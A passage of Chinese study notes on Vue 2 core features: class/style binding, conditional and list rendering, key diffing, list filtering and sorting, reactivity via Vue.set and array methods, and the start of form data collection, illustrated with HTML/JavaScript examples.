Vue 核心Ⅲ(class 与 style 绑定,条件渲染,列表渲染,收集表单数据,过滤器,内置指令与自定义指令)

1 Vue 核心

1.10 class 与 style 绑定

绑定样式:

  1. class 样式
    写法:class=“xxx” xxx 可以是字符串、对象、数组。
    字符串写法适用于:类名不确定,要动态获取。
    对象写法适用于:要绑定多个样式,个数不确定,名字也不确定。
    数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。

  2. style 样式
    :style="{fontSize: xxx}“其中 xxx 是动态值。
    :style=”[a,b]"其中 a、b 是样式对象。

1.10.1 理解

  1. 在应用界面中, 某个(些)元素的样式是变化的
  2. class/style 绑定就是专门用来实现动态样式效果的技术

1.10.2 class 绑定

1. :class='xxx'
2. 表达式是字符串: 'classA'
3. 表达式是对象: {classA:isA, classB: isB}
4. 表达式是数组: ['classA', 'classB']

1.10.3 style 绑定

  1. :style="{ color: activeColor, fontSize: fontSize + 'px' }"
  2. 其中 activeColor/fontSize 是 data 属性

eg. 绑定样式.html

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>绑定样式</title>
    <style>
      .basic {
        width: 400px;
        height: 100px;
        border: 1px solid black;
      }

      .happy {
        border: 4px solid red;
        background-color: rgba(255, 255, 0, 0.644);
        background: linear-gradient(30deg, yellow, pink, orange, yellow);
      }
      .sad {
        border: 4px dashed rgb(2, 197, 2);
        background-color: gray;
      }
      .normal {
        background-color: skyblue;
      }

      .atguigu1 {
        background-color: yellowgreen;
      }
      .atguigu2 {
        font-size: 30px;
        text-shadow: 2px 2px 10px red;
      }
      .atguigu3 {
        border-radius: 20px;
      }
    </style>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 准备好一个容器-->
    <div id="root">
      <!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
      <div class="basic" :class="mood" @click="changeMood">{{name}}</div>
      <br /><br />

      <!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
      <div class="basic" :class="classArr">{{name}}</div>
      <br /><br />

      <!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
      <div class="basic" :class="classObj">{{name}}</div>
      <br /><br />

      <!-- 绑定style样式--对象写法 -->
      <div class="basic" :style="styleObj">{{name}}</div>
      <br /><br />
      <!-- 绑定style样式--数组写法 -->
      <div class="basic" :style="styleArr">{{name}}</div>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    const vm = new Vue({
      el: "#root",
      data: {
        name: "尚硅谷",
        mood: "normal",
        classArr: ["atguigu1", "atguigu2", "atguigu3"],
        classObj: {
          atguigu1: false,
          atguigu2: false,
        },
        styleObj: {
          fontSize: "40px",
          color: "red",
        },
        styleObj2: {
          backgroundColor: "orange",
        },
        styleArr: [
          {
            fontSize: "40px",
            color: "blue",
          },
          {
            backgroundColor: "gray",
          },
        ],
      },
      methods: {
        changeMood() {
          const arr = ["happy", "sad", "normal"];
          const index = Math.floor(Math.random() * 3);
          this.mood = arr[index];
        },
      },
    });
  </script>
</html>

补充:

  1. 正常的样式正常些,改变的样式 + 冒号(:),加了冒号之后 Vue 就借助去解析这一块
  2. Math.random() 随机数 [0, 1) 左闭右开
  3. 所有对象的写法 key 都不能瞎写

1.11 条件渲染

条件渲染:
1.v-if
写法:
(1).v-if="表达式"
(2).v-else-if="表达式"
(3).v-else="表达式"
适用于:切换频率较低的场景。
特点:不展示的 DOM 元素直接被移除。
注意:v-if 可以和:v-else-if、v-else 一起使用,但要求结构不能被“打断”。(使用@会被打断)
2.v-show
写法:v-show="表达式"
适用于:切换频率较高的场景。
特点:不展示的 DOM 元素未被移除,仅仅是使用样式隐藏掉 3.备注:使用 v-if 的时,元素可能无法获取到,而使用 v-show 一定可以获取到。

1.11.1 条件渲染指令

  1. v-if v-else
  2. v-show

1.11.2 比较 v-if 与 v-show

  1. 如果需要频繁切换 v-show 较好
  2. 当条件不成立时, v-if 的所有子节点不会解析(项目中使用)

eg.条件渲染.hmtl(时而隐藏,时而显示)

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>条件渲染</title>
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 准备好一个容器-->
    <div id="root">
      <h2>当前的n值是:{{n}}</h2>
      <button @click="n++">点我n+1</button>
      <!-- 使用v-show做条件渲染 true显示,false隐藏 -->
      <!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->
      <!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->

      <!-- 使用v-if做条件渲染 -->
      <!-- <h2 v-if="false">欢迎来到{{name}}</h2> -->
      <!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> -->

      <!-- v-else和v-else-if -->
      <!-- <div v-if="n === 1">Angular</div>
			<div v-else-if="n === 2">React</div>
			<div v-else-if="n === 3">Vue</div>
			<div v-else>哈哈</div> -->

      <!-- v-if与template的配合使用 -->
      <template v-if="n === 1">
        <h2>你好</h2>
        <h2>尚硅谷</h2>
        <h2>北京</h2>
      </template>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    const vm = new Vue({
      el: "#root",
      data: {
        name: "尚硅谷",
        n: 0,
      },
    });
  </script>
</html>

补充:

  1. data 中的数据一旦改变,整个模板会重新解析

  2. 在一些标签外面包一个 div,会破坏它的结构,可能导致 css 选择器拿不到了。好的解决方法:不适用 div,使用模板 template:不影响结构。template 只能配合 v-if,不能和 v-show 一起使用

在这里插入图片描述

1.12 列表渲染

1.12.1 基本列表

效果图:展示三个人的信息
在这里插入图片描述

思路:

  1. 写 ul>li*3 先占个位
  2. 创建 vue 实例
  3. 想展示三个人的信息就要有这三个人的信息,就要存储一下这三个人(用数组去存,每个人都有名字,可能还会添加年龄,手机号,每个人都是一个对象,都有一个唯一的标识)
  4. 根据 persons 里面每个人的数据遍历生成三个 li,想生成多个谁,就在谁身上用一个全新的指令 v-for
    persons 指的 data 里面的一堆人,p 可以看作形参,代表一个人,p in persons 像 js 里面的 for in 遍历,persons 长度是几,就能生成多少个 li
  5. 显示信息:此处使用 p,p 是收到的一个形参,用插值语法使用。
    这个 p 可能来自正常的属性,可能来自没有配置的计算属性,还有可能来自 p in persons 里面的形参 p(此处来自这个)
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <script type="text/javascript" src="../代码/vue_basic/js/vue.js"></script>
  </head>

  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <ul>
        <!-- persons指的data里面的一堆人,p可以看作形参,代表一个人,p in persons像js里面的for in遍历,persons长度是几,就能生成多少个li -->
        <li v-for="p in persons">
          <!-- 显示信息:此处使用p,p是收到的一个形参,用插值语法使用。
					 这个p可能来自正常的属性,可能来自没有配置的计算属性,还有可能来自p in persons里面的形参p(此处来自这个)-->
          {{p.name}}-{{p.age}}
        </li>
      </ul>
    </div>
  </body>

  <script>
    Vue.config.productionTip = false;
    const vm = new Vue({
      el: "#root",
      data: {
        persons: [
          { id: "001", name: "张三", age: "18" },
          { id: "002", name: "李四", age: "19" },
          { id: "003", name: "王五", age: "20" },
        ],
      },
    });
  </script>
</html>

显示:
在这里插入图片描述

上述代码添加一些小细节:

  1. 遍历里面少了一个特别重要的标签属性 key(下一节仔细学习)(遍历数组:用的最多)
    使用 :key=“p.id” 让每一个 li 有唯一的标识,相当于身份证,在 Vue react 框架当中,只要用到了遍历去生成多个同样结构的数据,必须给每一个加一个名字,就是标识,这个 key 就是每一个节点的标识 。这个 key 前面的: 把""中的内容当作 js 表达式
  2. 不是只能遍历数组类型,还可以遍历对象类型
  3. 还可以遍历字符串,但是用的不多
  4. 还可以遍历指定次数,非常少见
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <script type="text/javascript" src="../代码/vue_basic/js/vue.js"></script>
  </head>

  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <!-- 遍历数组 -->
      <h2>人员列表</h2>
      <ul>
        <!-- of in 都可以使用 -->
        <!-- <li v-for="p in persons" :key="p.id">
				{{p.name}}-{{p.age}}
			</li> -->

        <!-- 还可以用两个形参写 p是遍历的每一项,index是索引 -->
        <li v-for="(p,index) in persons" :key="p.id">{{p.name}}--{{p.age}}</li>
      </ul>

      <!-- 遍历对象 -->
      <h2>汽车信息</h2>
      <ul>
        <li v-for="(value,k) of car" :key="k">{{k}}-{{value}}</li>
      </ul>

      <!-- 遍历字符串 -->
      <h3>测试遍历字符串</h3>
      <ul>
        <li v-for="(char,index) of str" :key="index">{{char}}--{{index}}</li>
      </ul>

      <!-- 遍历指定次数 -->
      <h3>测试遍历指定次数</h3>
      <ul>
        <li v-for="(number,index) of 5" :key="index">{{index}}--{{number}}</li>
      </ul>
    </div>
  </body>

  <script>
    Vue.config.productionTip = false;
    const vm = new Vue({
      el: "#root",
      data: {
        persons: [
          { id: "001", name: "张三", age: "18" },
          { id: "002", name: "李四", age: "19" },
          { id: "003", name: "王五", age: "20" },
        ],
        car: {
          name: "奥迪A8",
          price: "70万",
          color: "黑色",
        },
        str: "hello",
      },
    });
  </script>
</html>

显示:
在这里插入图片描述

1.12.2 key 的原理

只要明白遍历数组的情况,其他的情况都是套路

上面列表展示代码不写 key 其实也不会报错,但是不代表以后这么写都是错误的。
有种情况就会报错:

eg.你要点击添加一个老刘,可以添加到最前面,也可以添加到最后面。比如放在张三前面
绑定一个点击事件,就有 methods,先制造一个人的对象。再通过按钮添加

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <script type="text/javascript" src="../代码/vue_basic/js/vue.js"></script>
  </head>

  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <!-- 遍历数组 -->
      <h2>人员列表</h2>
      <button @click.once="add">添加一个老刘</button>

      <ul>
        <!-- 还可以用两个形参写 p是遍历的每一项,index是索引 -->
        <li v-for="(p,index) in persons" :key="p.id">
          {{p.name}}--{{p.age}}
          <input type="text" />
        </li>
      </ul>
    </div>
  </body>

  <script>
    Vue.config.productionTip = false;
    const vm = new Vue({
      el: "#root",
      data: {
        persons: [
          { id: "001", name: "张三", age: "18" },
          { id: "002", name: "李四", age: "19" },
          { id: "003", name: "王五", age: "20" },
        ],
      },
      methods: {
        add() {
          const p = { id: "004", name: "老刘", age: 40 };
          this.persons.unshift(p);
        },
      },
    });
  </script>
</html>

上面代码显示:(key 值使用 index 和 p.id 效果不同)
在这里插入图片描述

在这里插入图片描述

Note:

  1. 真实的开发:外面只需要把红色区域传给服务器,然后服务器把数据放在数据库里,数据库为我们生成 id
    在这里插入图片描述

  2. 生成的页面可用的真实 dom 貌似每一个 li 不再拥有 key 属性,模板上的确写了 key,Vue 也用的,用完了,vue 把他弄成真实 dom 的时候把他干掉了,所有元素身上的 key 都被 vue 征用了,其他的都不能使用了

想把上面的问题说的更加明白,需要对key 的原理,和虚拟 dom 的对比算法了解清楚

index 作为 key 的工作原理:

在这里插入图片描述

id 作为 key 的工作原理:

在这里插入图片描述

总结:

面试题:react、vue 中的 key 有什么作用?(key 的内部原理) 1. 虚拟 DOM 中 key 的作用:
key 是虚拟 DOM 对象的标识,当数据发生变化时,Vue 会根据【新数据】生成【新的虚拟 DOM】,
随后 Vue 进行【新虚拟 DOM】与【旧虚拟 DOM】的差异比较,比较规则如下: 2.对比规则:
(1).旧虚拟 DOM 中找到了与新虚拟 DOM 相同的 key:
①.若虚拟 DOM 中内容没变, 直接使用之前的真实 DOM!
②.若虚拟 DOM 中内容变了, 则生成新的真实 DOM,随后替换掉页面中之前的真实 DOM。
(2).旧虚拟 DOM 中未找到与新虚拟 DOM 相同的 key
创建新的真实 DOM,随后渲染到到页面。 3. 用 index 作为 key 可能会引发的问题: 1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
会产生没有必要的真实 DOM 更新 == > 界面效果没问题, 但效率低。 2. 如果结构中还包含输入类的 DOM:
会产生错误 DOM 更新 ==> 界面有问题。 4. 开发中如何选择 key?: 1.最好使用每条数据的唯一标识作为 key, 比如 id、手机号、身份证号、学号等唯一值。 2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,
使用 index 作为 key 是没有问题的。

1.12.3 列表过滤

案例:
在这里插入图片描述

思路:

  1. 获取用户的输入
  2. 拿着用户输入的与列表匹配(最标准的写法用计算属性写,但是最开始写先用 watch,再去对比写法)
  3. 然后再在列表中过滤,输入的是“伦”,展示相应的相关信息,
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <script type="text/javascript" src="../代码/vue_basic/js/vue.js"></script>
  </head>

  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <h2>人员列表</h2>
      <!-- 模糊搜索 -->
      <input type="text" placeholder="请输入名字" v-model="keyWord" />
      <ul>
        <li v-for="(p,index) in filPersons" :key="p.id">
          {{p.name}}--{{p.age}}--{{p.sex}}
        </li>
      </ul>
    </div>
  </body>

  <script>
    Vue.config.productionTip = false;

    // 用watch实现
    //#region
    /*
	const vm = new Vue({
		el: '#root',
		data: {
			// 1 收集用户的输入
			keyWord: '',
			persons: [
				{ id: '001', name: '马冬梅', age: '18', sex: '女' },
				{ id: '002', name: '周冬雨', age: '19', sex: '女' },
				{ id: '003', name: '周杰伦', age: '21', sex: '男' },
				{ id: '004', name: '温兆伦', age: '20', sex: '男' },
			],
			filPersons: []
		},
		
		watch: {
			keyWord: {
				// 没输入就是空串,空串就都显示
				immediate:true,
				handler(val) {
					// console.log('keyWord改变了',val);
					// 2 filters 过滤 return 后面是写要的条件 匹配的
					this.filPersons = this.persons.filter((p) => {
						// return p.name包含val indexOf是否包含什么字符
						return p.name.indexOf(val) !== -1
					})
				}
			}
		},

	})
	*/
    //#endregion

    // 用computed实现
    new Vue({
      el: "#root",
      data: {
        // 1 收集用户的输入
        keyWord: "",
        persons: [
          { id: "001", name: "马冬梅", age: "18", sex: "女" },
          { id: "002", name: "周冬雨", age: "19", sex: "女" },
          { id: "003", name: "周杰伦", age: "21", sex: "男" },
          { id: "004", name: "温兆伦", age: "20", sex: "男" },
        ],
      },
      computed: {
        filPersons() {
          return this.persons.filter((p) => {
            return p.name.indexOf(this.keyWord) !== -1;
          });
        },
      },
    });
  </script>
</html>

代码涉及知识点:

  1. 'acx'.indexOf('x') // 2 indexOf 是否包含什么字符,包含会把 index 输出,不包含输出就是-1
  2. filters 过滤 return 后面是写要的条件 匹配的
  3. vscode 有的时候可以折叠,但是写了一些语句后不能折叠,可以在要折叠的前后使用#region #endregion 就可以折叠了
  4. 所有不是由 Vue 控制的回调,尽可能写成回调

1.12.4 列表排序

将上述功能升级:
在这里插入图片描述

思路:

  1. 设计一个属性 sortType,去存储用户到底是想升还是降还是原数据
  2. 过滤排序逻辑不分家
  3. filPersons 维护好,列表就好,想过滤就把 filPerson 维护好,想排序,就把 filPersons 维护好

代码实现:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <script type="text/javascript" src="../代码/vue_basic/js/vue.js"></script>
  </head>

  <body>
    <!-- 准备好一个容器 -->
    <div id="root">
      <h2>人员列表</h2>
      <input type="text" placeholder="请输入名字" v-model="keyWord" />
      <!-- 原顺序用0代表 年龄降序1 年龄升序2 -->
      <button @click="sortType = 2">年龄升序</button>
      <button @click="sortType = 1">年龄降序</button>
      <button @click="sortType = 0">原顺序</button>
      <ul>
        <li v-for="(p,index) in filPersons" :key="p.id">
          {{p.name}}--{{p.age}}--{{p.sex}}
        </li>
      </ul>
    </div>
  </body>

  <script>
    Vue.config.productionTip = false;

    // 用computed实现
    new Vue({
      el: "#root",
      data: {
        // 收集用户的输入
        keyWord: "",
        // 设计一个属性sortType,去存储用户到底是想升还是降还是原数据
        sortType: 0, // 0原顺序 1降序 2升序
        persons: [
          { id: "001", name: "马冬梅", age: "18", sex: "女" },
          { id: "002", name: "周冬雨", age: "21", sex: "女" },
          { id: "003", name: "周杰伦", age: "22", sex: "男" },
          { id: "004", name: "温兆伦", age: "20", sex: "男" },
        ],
      },
      computed: {
        filPersons() {
          const arr = this.persons.filter((p) => {
            return p.name.indexOf(this.keyWord) !== -1;
          });
          // 判断一下是否需要排序  sortType是否为真
          if (this.sortType) {
            // 拿过滤完的数组  先过滤再排序
            arr.sort((p1, p2) => {
              return this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age;
            });
          }
          return arr;
        },
      },
    });
  </script>
</html>

补充知识点:

  1. 安装 javascript(es6) snippet 插件,输入 an 回车或 tab 快捷生成箭头函数

  2. sort()方法使用:能收到什么,需不需要有返回值,改不改变原数组

let arr[1,3,2,6,4,5]
arr.sort((a,b) => {
	// 升序
	return a-b
	// 降序
	// return b-a
})
console.log(arr) // 1,2,3,4,5

1.12.5 更新时的一个问题

Vue 到底是如何监测数据改变的(原理)

data 里的 name 改了,用的地方自动更新。vue 怎么知道我的 name 改了?怎么拿到 name 值?

案例:
点击一个按钮,更新马冬梅的数据

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>更新时的一个问题</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>人员列表</h2>
			<button @click="updateMei">更新马冬梅的信息</button>
			<ul>
				<li v-for="(p,index) of persons" :key="p.id">
					{{p.name}}-{{p.age}}-{{p.sex}}
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false

			const vm = new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'马冬梅',age:30,sex:'女'},
						{id:'002',name:'周冬雨',age:31,sex:'女'},
						{id:'003',name:'周杰伦',age:18,sex:'男'},
						{id:'004',name:'温兆伦',age:19,sex:'男'}
					]
				},
				methods: {
					updateMei(){
						// this.persons[0].name = '马老师' //奏效
						// this.persons[0].age = 50 //奏效
						// this.persons[0].sex = '男' //奏效
						// this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效
						this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'})
					}
				}
			})

		</script>
</html>

上面的部分方法奏效,部分不奏效,不奏效的原因接着看下面的分析

1.12.6 Vue 监测数据改变的原理

分析一下下面的小案例:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <script src="../代码/vue_basic/js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <h2>学校名称:{{name}}</h2>
      <h2>学校地址:{{address}}</h2>
    </div>
  </body>

  <script>
    Vue.config.productionTip = false;
    const vm = new Vue({
      el: "#root",
      data: {
        name: "guigu",
        address: "beijing",
      },
    });
  </script>
</html>

在这里插入图片描述

1.12.7 模拟一个数据监测

案例:写一个简单的模拟一个数据监测(Vue 里面写的更加完善)

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <script src="../代码/vue_basic/js/vue.js"></script>
  </head>

  <body>
    <script>
      let data = {
        name: "guigu",
        address: "beijing",
      };

      // 创建一个监视的实例对象,用于监视data中属性的变化
      const obs = new Observer(data);
      console.log(obs);

      // 准备一个vm实例对象
      let vm = {};
      vm._data = data = obs;

      function Observer(obj) {
        // 汇总对象中所有的属性形成一个数组  使用API  Object.keys()
        const keys = Object.keys(obj);
        // 遍历  拿到的每一个用key做形参
        keys.forEach((k) => {
          // this时Observer的实例对象,往这个实例对象身上添加一个属性,属性时name,还是address,我们就需要去读取k的值
          Object.defineProperty(this, k, {
            // get里面把传入对象的属性值交出去
            get() {
              return obj[k];
            },
            // set收到修改的值,把传入的对象身上的k所对应的属性改掉
            set(val) {
              console.log(
                `${k}被改了,我要去解析模板,生成虚拟DOM。。。。我要开始忙了`
              );
              obj[k] = val;
            },
          });
        });
      }
    </script>
  </body>
</html>

在这里插入图片描述

回顾知识点:

  1. Object.keys()方法 作用:遍历数组。返回结果:返回对象中每一项 key 的数组
  2. forEach() 方法对数组的每个元素执行一次提供的函数
  3. JavaScript 字符串模板 使用
let firstName = "Bill";
let lastName = "Gates";
console.log(`Welcome ${firstName}, ${lastName}!`); // 打印结果 Welcome Bill, Gates!

1.12.8 Vue.set()方法的使用

案例:给学生信息添加一个 sex

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <script src="../代码/vue_basic/js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <h2>学校名称:{{name}}</h2>
      <h2>学校地址:{{address}}</h2>
      <hr />
      <h2>姓名:{{student.name}}</h2>
      <h2>年龄:真实{{student.age.rAge}}, 对外{{student.age.sAge}}</h2>
      <h2>性别:{{student.sex}}</h2>
      <h2>朋友们</h2>
      <ul>
        <li v-for="(f,index) in student.friends" :key="index">
          {{f.name}} --- {{f.age}}
        </li>
      </ul>
    </div>
  </body>

  <script>
    Vue.config.productionTip = false;
    const vm = new Vue({
      el: "#root",
      data: {
        name: "guigu",
        address: "beijing",
        student: {
          name: "tom",
          // sex:'男',
          age: {
            rAge: 40,
            sAge: 29,
          },
          friends: [
            { name: "jerry", age: 35 },
            { name: "tony", age: 36 },
          ],
        },
      },
    });
  </script>
</html>

页面两种效果对比:
在这里插入图片描述

在上述案例基础上改进:添加一个按钮,给学生添加一个属性性别。

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
    <script src="../代码/vue_basic/js/vue.js"></script>
  </head>

  <body>
    <div id="root">
      <h1>学校信息</h1>
      <h2>学校名称:{{name}}</h2>
      <h2>学校地址:{{address}}</h2>
      <hr />
      <h1>学生信息</h1>
      <button @click="addSex">点我添加一个性别属性,默认值是男</button>
      <h2>姓名:{{student.name}}</h2>
      <h2>年龄:真实{{student.age.rAge}}, 对外{{student.age.sAge}}</h2>
      <h2>性别:{{student.sex}}</h2>
      <h2>朋友们</h2>
      <ul>
        <li v-for="(f,index) in student.friends" :key="index">
          {{f.name}} --- {{f.age}}
        </li>
      </ul>
    </div>
  </body>

  <script>
    Vue.config.productionTip = false;
    const vm = new Vue({
      el: "#root",
      data: {
        name: "guigu",
        address: "beijing",
        student: {
          name: "tom",
          // sex:'男',
          age: {
            rAge: 40,
            sAge: 29,
          },
          friends: [
            { name: "jerry", age: 35 },
            { name: "tony", age: 36 },
          ],
        },
      },
      methods: {
        addSex() {
          // Vue.set(this.student,'sex','男')
          this.$set(this.student, "sex", "男");
        },
      },
    });
  </script>
</html>

再给学校添加一个属性,校长

我们可以先在控制台添加一下试试,代码是否正确
在这里插入图片描述

在这里插入图片描述

Vue 官网也解释了这个:

在这里插入图片描述

回顾知识点:

  1. 响应式

在这里插入图片描述

  1. methods 里面的方法只要正常写,this 就是 vm,但是这里不用 vm(原因我还未知???),用 this

1.12.9 Vue 监测数据改变的原理_数组

这一个知识点学完了,就可以把 1.12.5 更新时的一个问题 这个解决

在 1.12.8 的代码上进行更改,不用关注代码里面的对象或者对象套着对象的形式,data,school。关注的是 friends 里面的数组,数组类型的数据

在代码学生信息里面添加一个 hobby 数组

先在控制台测试:
在这里插入图片描述

在这里插入图片描述

从上面的分析可以看出,Vue 监测不到

怎么让 Vue 监视到数据的修改呢

尤神这样想的:
程序员有一个数组,let arr = [1,3,5,7]
要想修改它,有可能调用这些方法
push pop shift unshift splice sort reverse 这些都是可以修改数组的
arr 调用这些方法就会引起改变
Vue 就说,只有调用这些能修改数组的方法,我才承认修改数组了。
调这七个方法 Vue 就能检测到,是的

控制台测试一下:

在这里插入图片描述

Vue 怎么监测到调用了这些方法呢?比如 push

Vue 用到了一个技术,包装

在这里插入图片描述

官网上的解释:

在这里插入图片描述

只要想在 Vue 里面改变数组,就必须调用这七个方法?是错误的
还有别的办法

在这里插入图片描述

回顾知识点:

调用的一些方法:

push:最后一个位置新增一个元素
pop:删除最后一个元素
shift:删除第一个
unshift:往前面加一个
splice:想在数组指定位置插入一个元素,或者在指定位置删除一个元素,或者替换掉某个位置的指定元素
sort:对数组进行一个排序
reverse:反转一个数组

1.12.10 总结 Vue 数据监测

Vue 监视数据的原理: 1. vue 会监视 data 中所有层次的数据(eg.下面案例里面,school 能监视,school 下面的 student 也可以)。 2. 如何监测对象中的数据?
通过 setter 实现监视,且要在 new Vue 时就传入要监测的数据。
(1).对象中后追加的属性,Vue 默认不做响应式处理
(2).如需给后添加的属性做响应式,请使用如下 API:
Vue.set(target,propertyName/index,value)
vm.$set(target,propertyName/index,value)
3. 如何监测数组中的数据?
通过包裹数组更新元素的方法实现,本质就是做了两件事:
(1).调用原生对应的方法对数组进行更新。(push,pop…)
(2).重新解析模板,进而更新页面。
4.在Vue修改数组中的某个元素一定要用如下方法:
1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse() (filter)
2.Vue.set() vm.$set()
特别注意:Vue.set() vm.$set() 不能给 vm 或 vm 的根数据对象 添加属性!!!

之前的一些代码直接在控制中去测试了,并没有写在编译器里面,下面的案例就把前面一些功能写在下面的一个案例里面

<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8" />
    <title>总结数据监视</title>
    <style>
      button {
        margin-top: 10px;
      }
    </style>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
  </head>
  <body>
    <!-- 准备好一个容器-->
    <div id="root">
      <h1>学生信息</h1>
      <!-- click点击 ++ 即可 -->
      <button @click="student.age++">年龄+1岁</button> <br />
      <!-- 开始不知道有性别这个属性,后面添加的,现在需要先加一个性别,然后还是响应式的,性别一改,页面也会改。配置一个methods -->
      <button @click="addSex">添加性别属性,默认值:男</button> <br />
      <button @click="student.sex = '未知' ">修改性别</button> <br />
      <button @click="addFriend">在列表首位添加一个朋友</button> <br />
      <button @click="updateFirstFriendName">
        修改第一个朋友的名字为:张三
      </button>
      <br />
      <button @click="addHobby">添加一个爱好</button> <br />
      <button @click="updateHobby">修改第一个爱好为:开车</button> <br />
      <button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br />
      <h3>姓名:{{student.name}}</h3>
      <h3>年龄:{{student.age}}</h3>
      <h3 v-if="student.sex">性别:{{student.sex}}</h3>
      <h3>爱好:</h3>
      <ul>
        <li v-for="(h,index) in student.hobby" :key="index">{{h}}</li>
      </ul>
      <h3>朋友们:</h3>
      <ul>
        <li v-for="(f,index) in student.friends" :key="index">
          {{f.name}}--{{f.age}}
        </li>
      </ul>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
      el: "#root",
      data: {
        student: {
          name: "tom",
          age: 18,
          hobby: ["抽烟", "喝酒", "烫头"],
          friends: [
            { name: "jerry", age: 35 },
            { name: "tony", age: 36 },
          ],
        },
      },
      methods: {
        addSex() {
          // Vue.set(this.student,'sex','男')
          this.$set(this.student, "sex", "男");
        },
        addFriend() {
          this.student.friends.unshift({ name: "jack", age: 70 });
        },
        updateFirstFriendName() {
          // 不能通过数组的索引值直接去赋值
          // this.student.friends[0] = '张三'

          this.student.friends[0].name = "张三";
        },
        addHobby() {
          this.student.hobby.push("学习");
        },
        updateHobby() {
          // this.student.hobby.splice(0,1,'开车')
          // Vue.set(this.student.hobby,0,'开车')
          this.$set(this.student.hobby, 0, "开车");
        },
        removeSmoke() {
          // 直接替换掉原数组
          this.student.hobby = this.student.hobby.filter((h) => {
            return h !== "抽烟";
          });
        },
      },
    });
  </script>
</html>

补充知识点:

  1. 数据劫持:

在这里插入图片描述

红色代码区域在控制台中改成下面蓝色框内容,这个动作就叫做数据劫持。

如果把传入的 data 每一个属性都遍历了一遍,变成 getter,setter 形式,我们把这种操作行为叫做数据劫持

也可以说:eg 如果有人修改 student,那马上就会被 setter 劫持住,劫持后收到了数据,然后修改,再重新解析模板

  1. 数据代理和数据劫持都离不开 Object.defineproperty()方法

1.13 收集表单数据

如何利用 Vue 提供的 v-model 去收集一个表单的数据

收集表单数据:
若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
若:<input type="checkbox"/>
1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
2.配置input的value属性:
(1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
(2)v-model的初始值是数组,那么收集的的就是value组成的数组
备注:v-model的三个修饰符:
lazy:失去焦点再收集数据
number:输入字符串转为有效的数字
trim:输入首尾空格过滤

案例:收集表单数据

效果:

在这里插入图片描述

代码:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
